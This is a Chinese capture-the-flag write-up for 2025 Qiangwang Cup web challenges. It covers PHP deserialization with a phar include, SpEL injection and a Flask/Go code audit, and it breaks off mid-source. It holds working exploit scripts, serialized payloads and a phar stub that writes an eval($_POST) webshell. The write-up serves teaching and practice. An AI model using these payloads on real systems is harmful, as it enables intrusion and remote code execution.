2025强网杯


web

ezphp

考点:引用匿名类函数+include包含phar

打开题目,是

1
<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php
function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $r = rand(0, strlen($characters) - 1);
        $randomString .= $characters[$r];
    }
    return $randomString;
}

date_default_timezone_set('Asia/Shanghai');

class test {
    public $readflag;
    public $f;
    public $key;
    
    public function __construct() {
        $this->readflag = new class {
            public function __construct() {
                // 文件上传处理逻辑
                if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
                    $time = date('Hi');
                    $filename = $GLOBALS['filename'];
                    $seed = $time . intval($filename);
                    mt_srand($seed);
                    
                    $uploadDir = 'uploads/';
                    $files = glob($uploadDir . '*');
                    foreach ($files as $file) {
                        if (is_file($file)) unlink($file);
                    }
                    
                    $randomStr = generateRandomString(8);
                    $newFilename = $time . '.' . $randomStr . '.' . 'jpg';
                    $GLOBALS['file'] = $newFilename;
                    $uploadedFile = $_FILES['file']['tmp_name'];
                    $uploadPath = $uploadDir . $newFilename;
                    
                    if (system("cp ".$uploadedFile." ". $uploadPath)) {
                        echo "success upload!";
                    } else {
                        echo "error";
                    }
                }
            }
            
            public function __wakeup() {
                phpinfo();
            }
            
            public function readflag() {
                function readflag() {
                    if (isset($GLOBALS['file'])) {
                        $file = $GLOBALS['file'];
                        $file = basename($file);
                        if (preg_match('/:\/\//', $file)) die("error");
                        
                        $file_content = file_get_contents("uploads/" . $file);
                        if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
                            die("Illegal content detected in the file.");
                        }
                        include("uploads/" . $file);
                    }
                }
            }
        };
    }
    
    public function __destruct() {
        $func = $this->f;
        $GLOBALS['filename'] = $this->readflag;
        
        if ($this->key == 'class') {
            new $func();
        } else if ($this->key == 'func') {
            $func();
        } else {
            highlight_file('index.php');
        }
    }
}

$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);
?>

此题一眼就可以看出思路,大概就是调用匿名类上传文件以及readflag中include,显然最后执行命令就是打include包含phar写马,现在难的点是怎么调用匿名类中的readflag函数,我们可以先看看phpinfo,exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
class test {
    public $readflag;
    public $f;
    public $key;
}


$a = new test();
$a->key="func";
$a->f="phpinfo";

echo serialize($a);



?>

发现禁用了不少函数,没啥关系,到时候include触发phar文件可以写马进去

image-20251022140608965

怎么调用匿名类中的readflag函数?这是个很复杂的点,因为我们不能序列化这个匿名类,所以怎么办?

首先知道匿名类遵循这样的规则:

1
%00 + 函数 + 路径 : 行号$序号

然后,我们通过get_class函数可以返回指定 object 的类名。先来看一下匿名类的命名规则

1
2
<?php
echo get_class(new class {});

我们可以看到输出结果

image-20251124111808769

1
class@anonymousD:\题目附件\2025强网\1.php:2$0

我这是在win环境执行的,假设在lunix环境执行且1.php在网页根目录下,应该就是

1
class@anonymous/var/www/html/1.php:2$0

但是题目中是在eval函数里实现的,写个demo

1
2
3
<?php
eval('$b = new class{};');
echo get_class($b);

输出结果是

1
class@anonymous/var/www/html/1.php(2) : eval()'d code:1$c5

这里的行号就是eval()’d code+数字,因为eval函数是在第二行,所以括号里的行号是2,但是在eval中他是在一行,所以$前面的行号是1,$0会随着运行次数的增加递增为$1, $2…,

因此我们编写脚本, 并且每次需要重启靶机或者递增$0`

所以可以推一下题目里的匿名类输出

1
%00readflag/var/www/html/index.php(1) : eval()\'d code:1$序号

另外还有一个函数调用的姿势

1
2
3
4
5
6
7
8
9
<?php
class a {
    function test() {
        echo "yes";
    }
}
$a = new a();
$func = array('a','test');  // 这里只是字符串数组
$func();
1
2
3
 PHP 中,形如 ['类名', '方法名']  [$object, '方法名'] 的数组都被视为 callable(可调用值)。当把这样的数组放进变量并使用函数调用语法 ($var)() 时,PHP 会把该变量当作回调来执行,等价于 call_user_func($var)
    
对于匿名类,虽然你不能直接序列化匿名类实例,但你可以序列化对匿名类的引用,由于我们构造了字符串数组,不是实际的类或方法,所以可以序列化的

因此我们能得出调用readflag的方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class test {
    public $readflag="6264115";
    public $f;
    public $key;
}

//实例化一个test类
$a = new test();
$a -> f = 'test';
$a -> key = 'class';

//调用readflag函数
$b = new test();
$b -> f = array("class@anonymous\0/var/www/html/index.php(1) : eval()'d
code:1$0", 'readflag');
$b -> key = 'func';

$c=new test();
$c->f='readflag';
$c->key='func';

echo serialize($a);
echo "\n\n";
echo serialize($b);

接下来就是上传文件的问题了,这个就常见了,我们直接构造一个1.gz的phar恶意文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$phar = new Phar('exp.phar');
$phar->compressFiles(Phar::GZ);
$phar->startBuffering();

$stub = <<<'STUB'
<?php
  $filename="/var/www/html/2.php";
  $content="<?php eval(\$_POST[1]);?>";
  file_put_contents($filename, $content);
        __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

$fp = gzopen("1.gz", 'w9');
gzwrite($fp, file_get_contents("exp.phar"));
gzclose($fp);

?>

然后就是这个文件名的处理了,我们include解析phar,文件名一定时要包含.phar的,但是题目对文件名进行了处理,设置time为当前时间并从全局变量中提取文件名进行拼接后作为随机数种子$seed,然后利用generateRandomString函数随机生成一个8位纯字母字符串并结合时间戳生成新的jpg文件名,最后将文件的内容复制到新的文件中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 // 文件上传处理逻辑
                if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
                    $time = date('Hi');
                    $filename = $GLOBALS['filename'];
                    $seed = $time . intval($filename);
                    mt_srand($seed);
                    
                    $uploadDir = 'uploads/';
                    $files = glob($uploadDir . '*');
                    foreach ($files as $file) {
                        if (is_file($file)) unlink($file);
                    }
                    
                    $randomStr = generateRandomString(8);
                    $newFilename = $time . '.' . $randomStr . '.' . 'jpg';
                    $GLOBALS['file'] = $newFilename;
                    $uploadedFile = $_FILES['file']['tmp_name'];
                    $uploadPath = $uploadDir . $newFilename;
                    
                    if (system("cp ".$uploadedFile." ". $uploadPath)) {
                        echo "success upload!";
                    } else {
                        echo "error";

显然这个种子,种子是可以爆破的,那么就可以试着让$randomStr生成的字以phar字符开头,直接ai写个脚本(记得时区设置为date_default_timezone_set('Asia/Shanghai')).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
date_default_timezone_set('Asia/Shanghai');

class test
{
    public $readflag;
    public $f;
    public $key;

    public function __construct()
    {
    }
}
function getFilename()
{
    date_default_timezone_set('Asia/Shanghai');

    function generateRandomString($length = 8)
    {
        $characters = 'abcdefghijklmnopqrstuvwxyz';
        $randomString = '';
        for ($i = 0; $i < $length; $i++) {
            $r = mt_rand(0, strlen($characters) - 1);
            $randomString .= $characters[$r];
        }
        return $randomString;
    }

    $time = date('Hi');

    for ($filename = 0; $filename < 2000000000; $filename++) {
        $seed = $time . intval($filename);
        mt_srand($seed);
        $s = generateRandomString(8);
        if (strpos($s, 'phar') === 0) {
            echo "found: filename=$filename seed=$seed => $s\n";
            return $filename;
        }
    }
}
function getPaylaod($filenameSeed) {
    $obj1 = new test();
    $obj1->f = 'test';
    $obj1->key = 'class';
    $obj1->readflag = (string)$filenameSeed;
    $obj2 = new test();
    $obj2->f = ["class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$0", 'readflag'];
    $obj2->key = 'func';
    $obj3 = new test();
    $obj3->f = 'readflag';
    $obj3->key = 'func';


    $ser= [$obj1, $obj2, $obj3];
    $s = serialize($ser);
    return $s;

}
$payload = getPaylaod(getFilename());
$payload=str_replace("eval()'","eval()\'",$payload);
echo $payload;
1
2
3
4
5
import requests
target = 'http://localhost:80/'
pay = 'a:3:{i:0;O:4:"test":3:{s:8:"readflag";s:6:"295468";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}i:1;O:4:"test":3:{s:8:"readflag";N;s:1:"f";a:2:{i:0;s:62:"class@anonymous/var/www/html/index.php(1) : eval()\'d code:1$0";i:1;s:8:"readflag";}s:3:"key";s:4:"func";}i:2;O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:8:"readflag";s:3:"key";s:4:"func";}}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))})
print(res.text)

2025 强网杯S9 WEB WP 题解 | n4c1’s Blog

https://www.cnblogs.com/LAMENTXU/articles/19156437

bbjv

考点:spel表达式

拿到jar后反编译,看看控制器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.ctf.gateway.controller;

import com.ctf.gateway.service.EvaluationService;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
/* loaded from: app.jar:BOOT-INF/classes/com/ctf/gateway/controller/GatewayController.class */
public class GatewayController {
    private final EvaluationService evaluationService;

    public GatewayController(EvaluationService evaluationService) {
        this.evaluationService = evaluationService;
    }

    @GetMapping({"/check"})
    public String checkRule(@RequestParam String rule) throws FileNotFoundException {
        String result = this.evaluationService.evaluate(rule);
        File flagFile = new File(System.getProperty("user.home"), "flag.txt");
        if (flagFile.exists()) {
            try {
                BufferedReader br = new BufferedReader(new FileReader(flagFile));
                try {
                    String content = br.readLine();
                    result = result + "<br><b>�� Flag:</b> " + content;
                    br.close();
                } finally {
                }
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        return result;
    }
}

接受一个参数rule,会调用到this.evaluationService.evaluate(rule),跟进看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.gateway.service;

import org.springframework.expression.EvaluationContext;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Service;

@Service
public class EvaluationService {
    private final ExpressionParser parser = new SpelExpressionParser();
    private final EvaluationContext context;

    public EvaluationService(EvaluationContext context) {
        this.context = context;
    }

    public String evaluate(String expression) {
        try {
            Object result = this.parser.parseExpression(expression, new TemplateParserContext()).getValue(this.context);
            return "Result: " + String.valueOf(result);
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }
}

一个spel表达式的计算代码,rule就是我们需要传入的spel表达式,但是好像我直接打spel注入不行

关注到一个点

1
Object result = this.parser.parseExpression(expression, new TemplateParserContext()).getValue(this.context);

这里的话是用到TemplateParserContext模板去解析,我们查一下

image-20251125125452140

接着看一下accessor中的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.gateway.accessor;

import org.springframework.expression.AccessException;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.spel.support.ReflectivePropertyAccessor;

public class SecurePropertyAccessor extends ReflectivePropertyAccessor {
    public boolean canRead(EvaluationContext context, Object target, String name) throws AccessException {
        return false;
    }
}
1
ReflectivePropertyAccessor 是 SpEL 用来通过 Java 反射访问 Java 对象属性(fields/getters)的默认实现之一。这里重写了里面的canRead方法,意思就是只要spel语句中用到反射访问java对象属性的话就会return false,相当于是一个waf吧

看另一个config文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.gateway.config;

import com.ctf.gateway.accessor.SecurePropertyAccessor;
import java.util.Properties;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.PropertyAccessor;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

@Configuration
public class SpelConfig {
    @Bean({"systemProperties"})
    public Properties systemProperties() {
        return System.getProperties();
    }

    @Bean({"restrictedEvalContext"})
    public EvaluationContext restrictedEvaluationContext(@Qualifier("systemProperties") Properties systemProperties) {
        SimpleEvaluationContext simpleContext = SimpleEvaluationContext.forPropertyAccessors(new PropertyAccessor[]{new SecurePropertyAccessor()}).build();
        simpleContext.setVariable("systemProperties", systemProperties);
        return simpleContext;
    }
}

这里定义了两个java Bean,并且在restrictedEvalContext中设置了一个变量为systemProperties,我们能调用这个System.getProperties(),按照源码的逻辑,会找到user.home下的flag.txt,如果存在就会输出flag,但是这里的话是root目录,flag.txt在tmp下,我们可以直接赋值

1
check?rule=#{#systemProperties['user.home']='/tmp'}

image-20251019231417377

SecretVault

考点:代码审计+Connection 头字段可以包含要关闭的连接特定的头字段列表

先看py代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
import base64
import os
import secrets
import sys
from datetime import datetime
from functools import wraps
import requests

from cryptography.fernet import Fernet
from flask import (
    Flask,
    flash,
    g,
    jsonify,
    make_response,
    redirect,
    render_template,
    request,
    url_for,
)
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy.exc import IntegrityError
import hashlib

db = SQLAlchemy()

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)
    salt = db.Column(db.String(64), nullable=False)
    created_at = db.Column(db.DateTime, default=datetime.utcnow, nullable=False)
    vault_entries = db.relationship('VaultEntry', backref='user', lazy=True, cascade='all, delete-orphan')
#创建ORM 关系:一个用户对应多个 VaultEntry,backref='user':在 VaultEntry 实例上可通过 .user 访问父 User,

class VaultEntry(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    label = db.Column(db.String(120), nullable=False)
    login = db.Column(db.String(120), nullable=False)
    password_encrypted = db.Column(db.Text, nullable=False)
    notes = db.Column(db.Text)
    created_at = db.Column(db.DateTime, default=datetime.utcnow, nullable=False)

#定义了两个两个数据库模型,User 表保存账号信息(含盐与密码哈希);VaultEntry 表保存某用户的若干凭据(登录名、加密后的密码、备注);二者通过 user_id 建 FK 关联,且在 User 被删除时会级联删除对应的 VaultEntry。

def hash_password(password: str, salt: bytes) -> str:
    data = salt + password.encode('utf-8')
    for _ in range(50):
        data = hashlib.sha256(data).digest()
    return base64.b64encode(data).decode('utf-8')
#将salt盐值和密码拼接,并进行50轮的SHA256迭代哈希,最后base64编码并返回加密结果

def verify_password(password: str, salt_b64: str, digest: str) -> bool:
    salt = base64.b64decode(salt_b64.encode('utf-8'))
    return hash_password(password, salt) == digest

def generate_salt() -> bytes:
    return secrets.token_bytes(16)
#盐值生成函数,生成16字节的随机数据
def create_app() -> Flask:
    app = Flask(__name__)
    app.config['SECRET_KEY'] = secrets.token_hex(32)
    app.config['SQLALCHEMY_DATABASE_URI'] = os.getenv('DATABASE_URL', 'sqlite:///vault.db')
    app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
    app.config['SIGN_SERVER'] = os.getenv('SIGN_SERVER', 'http://127.0.0.1:4444/sign')
    fernet_key = os.getenv('FERNET_KEY')
    if not fernet_key:
        raise RuntimeError('Missing FERNET_KEY environment variable. Generate one with `python -c "from cryptography.fernet import Fernet; print(Fernet.generate_key().decode())"`.')
    app.config['FERNET_KEY'] = fernet_key
    db.init_app(app)
    #一些配置信息包括SECRET_KEY、数据库连接、FERNET_KEY等

    fernet = Fernet(app.config['FERNET_KEY'])
    with app.app_context():
        db.create_all()#创建数据表

        if not User.query.first():#检查是否是第一次运行
            salt = secrets.token_bytes(16)#随机生成盐值
            password = secrets.token_bytes(32).hex()#随机生成密码
            password_hash = hash_password(password, salt)#计算密码的哈希加密值s
            user = User(#如果获取失败uid就是0,uid是0的⽤⼾正好是admin。
                id=0,
                username='admin',
                password_hash=password_hash,
                salt=base64.b64encode(salt).decode('utf-8'),
            )
            db.session.add(user)
            db.session.commit()#添加到数据库中

            flag = open('/flag').read().strip()
            flagEntry = VaultEntry(
                user_id=user.id,#属于id=0也就是admin用户
                label='flag',
                login='flag',
                password_encrypted=fernet.encrypt(flag.encode('utf-8')).decode('utf-8'),
                notes='This is the flag entry.',
            )
            db.session.add(flagEntry)
            db.session.commit()

    def login_required(view_func):
        @wraps(view_func)
        def wrapped(*args, **kwargs):
            uid = request.headers.get('X-User', '0')
            print(uid)
            if uid == 'anonymous':
                flash('Please sign in first.', 'warning')
                return redirect(url_for('login'))
            try:
                uid_int = int(uid)
            except (TypeError, ValueError):
                flash('Invalid session. Please sign in again.', 'warning')
                return redirect(url_for('login'))
            user = User.query.filter_by(id=uid_int).first()
            if not user:
                flash('User not found. Please sign in again.', 'warning')
                return redirect(url_for('login'))

            g.current_user = user
            return view_func(*args, **kwargs)

        return wrapped

    @app.route('/')#根路由,通过获取X-User请求头来进行认证,如果uid是anonymous或不存在则重定向到login登录页面,否则进入控制面板dashboard页面
    def index():
        uid = request.headers.get('X-User', '0')
        if not uid or uid == 'anonymous':
            return redirect(url_for('login'))
        
        return redirect(url_for('dashboard'))

    @app.route('/register', methods=['GET', 'POST'])
    def register():
        if request.method == 'POST':
            username = request.form.get('username', '').strip()
            password = request.form.get('password', '')
            confirm_password = request.form.get('confirm_password', '')
            if not username or not password:
                flash('Username and password are required.', 'danger')
                return render_template('register.html')
            if password != confirm_password:
                flash('Passwords do not match.', 'danger')
                return render_template('register.html')
            salt = generate_salt()
            password_hash = hash_password(password, salt)
            user = User(
                username=username,
                password_hash=password_hash,
                salt=base64.b64encode(salt).decode('utf-8'),
            )
            db.session.add(user)
            try:
                db.session.commit()
            except IntegrityError:
                db.session.rollback()
                flash('Username already exists. Please choose another.', 'warning')
                return render_template('register.html')
            flash('Registration successful. Please sign in.', 'success')
            return redirect(url_for('login'))
        return render_template('register.html')

    @app.route('/login', methods=['GET', 'POST'])
    def login():
        if request.method == 'POST':
            username = request.form.get('username', '').strip()
            password = request.form.get('password', '')
            user = User.query.filter_by(username=username).first()
            if not user or not verify_password(password, user.salt, user.password_hash):
                flash('Invalid username or password.', 'danger')
                return render_template('login.html')
            r = requests.get(app.config['SIGN_SERVER'], params={'uid': user.id}, timeout=5)
            if r.status_code != 200:
                flash('Unable to reach the authentication server. Please try again later.', 'danger')
                return render_template('login.html')
            
            token = r.text.strip()
            response = make_response(redirect(url_for('dashboard')))
            response.set_cookie(
                'token',
                token,
                httponly=True,
                secure=app.config.get('SESSION_COOKIE_SECURE', False),
                samesite='Lax',
                max_age=12 * 3600,
            )
            return response
        return render_template('login.html')

    @app.route('/logout')#登出路由就不用看了,一个重定向加删除token的操作
    def logout():
        response = make_response(redirect(url_for('login')))
        response.delete_cookie('token')
        flash('Signed out.', 'info')
        return response

    @app.route('/dashboard')
    @login_required
    def dashboard():
        user = g.current_user
        entries = [
            {
                'id': entry.id,
                'label': entry.label,
                'login': entry.login,
                'password': fernet.decrypt(entry.password_encrypted.encode('utf-8')).decode('utf-8'),
                'notes': entry.notes,
                'created_at': entry.created_at,
            }
            for entry in user.vault_entries
        ]
        return render_template('dashboard.html', username=user.username, entries=entries)

    @app.route('/passwords/new', methods=['POST'])
    @login_required
    def create_password():
        user = g.current_user
        label = request.form.get('label', '').strip()
        login_value = request.form.get('login', '').strip()
        password_plain = request.form.get('password', '').strip()
        notes = request.form.get('notes', '').strip() or None
        if not label or not login_value or not password_plain:
            flash('Service name, login, and password are required.', 'danger')
            return redirect(url_for('dashboard'))
        encrypted_password = fernet.encrypt(password_plain.encode('utf-8')).decode('utf-8')
        entry = VaultEntry(
            user_id=user.id,
            label=label,
            login=login_value,
            password_encrypted=encrypted_password,
            notes=notes,
        )
        db.session.add(entry)
        db.session.commit()
        flash('Password entry saved.', 'success')
        return redirect(url_for('dashboard'))

    @app.route('/passwords/<int:entry_id>', methods=['DELETE'])
    @login_required
    def delete_password(entry_id: int):
        user = g.current_user
        entry = VaultEntry.query.filter_by(id=entry_id, user_id=user.id).first()
        if not entry:
            return jsonify({'success': False, 'message': 'Entry not found'}), 404
        db.session.delete(entry)
        db.session.commit()
        return jsonify({'success': True})

    return app


if __name__ == '__main__':
    flask_app = create_app()
    flask_app.run(host='127.0.0.1', port=5000, debug=False)

再看go端

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
package main

import (
	"crypto/rand"
	"encoding/hex"
	"fmt"
	"log"
	"net/http"
	"net/http/httputil"
	"strings"
	"time"

	"github.com/golang-jwt/jwt/v5"	//JWT(JSON Web Token)认证中常用的 Go 实现,用来签发、验证和解析 token。
	"github.com/gorilla/mux"
)

var (
	SecretKey = hex.EncodeToString(RandomBytes(32))//声明一个全局变量,生成随机的32字节密钥SecretKey,用于JWT签名
)

type AuthClaims struct {
	jwt.RegisteredClaims
	UID string `json:"uid"`
}

func RandomBytes(length int) []byte {//定义JWT中包含的数据结构并添加了一个自定义的字段UID
	b := make([]byte, length)
	if _, err := rand.Read(b); err != nil {//读取随机字节到 b,如果出错返回 nil
		return nil
	}
	return b
}

func SignToken(uid string) (string, error) {//使用 crypto/rand 生成加密安全的随机字节
	t := jwt.NewWithClaims(jwt.SigningMethodHS256, AuthClaims{
		UID: uid,
		RegisteredClaims: jwt.RegisteredClaims{
			Issuer:    "Authorizer",
			Subject:   uid,
			ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),
			IssuedAt:  jwt.NewNumericDate(time.Now()),
			NotBefore: jwt.NewNumericDate(time.Now()),
		},
	})
	tokenString, err := t.SignedString([]byte(SecretKey))
	if err != nil {
		return "", err
	}
	return tokenString, nil
}

func GetUIDFromRequest(r *http.Request) string {//创建JWT token,其中包括UID以及RegisteredClaims的字段,并使用HMAC-SHA256算法结合SecretKey密钥进行签名
	authHeader := r.Header.Get("Authorization")
	if authHeader == "" {
		cookie, err := r.Cookie("token")
		if err == nil {
			authHeader = "Bearer " + cookie.Value
		} else {
			return ""//先是从Authorization中获取,若没有则从Cookie中的token去获取,如果 Cookie 存在,则 err == nil,进入构造Bearer格式
		}
	}
	if len(authHeader) <= 7 || !strings.HasPrefix(authHeader, "Bearer ") {
		return ""
	}
	tokenString := strings.TrimSpace(authHeader[7:])
	if tokenString == "" {
		return ""//检查Bearer格式,说白了就是检查token是否是有效格式,并提取出token的内容设置为tokenString
	}
	token, err := jwt.ParseWithClaims(tokenString, &AuthClaims{}, func(token *jwt.Token) (interface{}, error) {
		if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {//检查令牌使用的签名算法是否为 HMAC
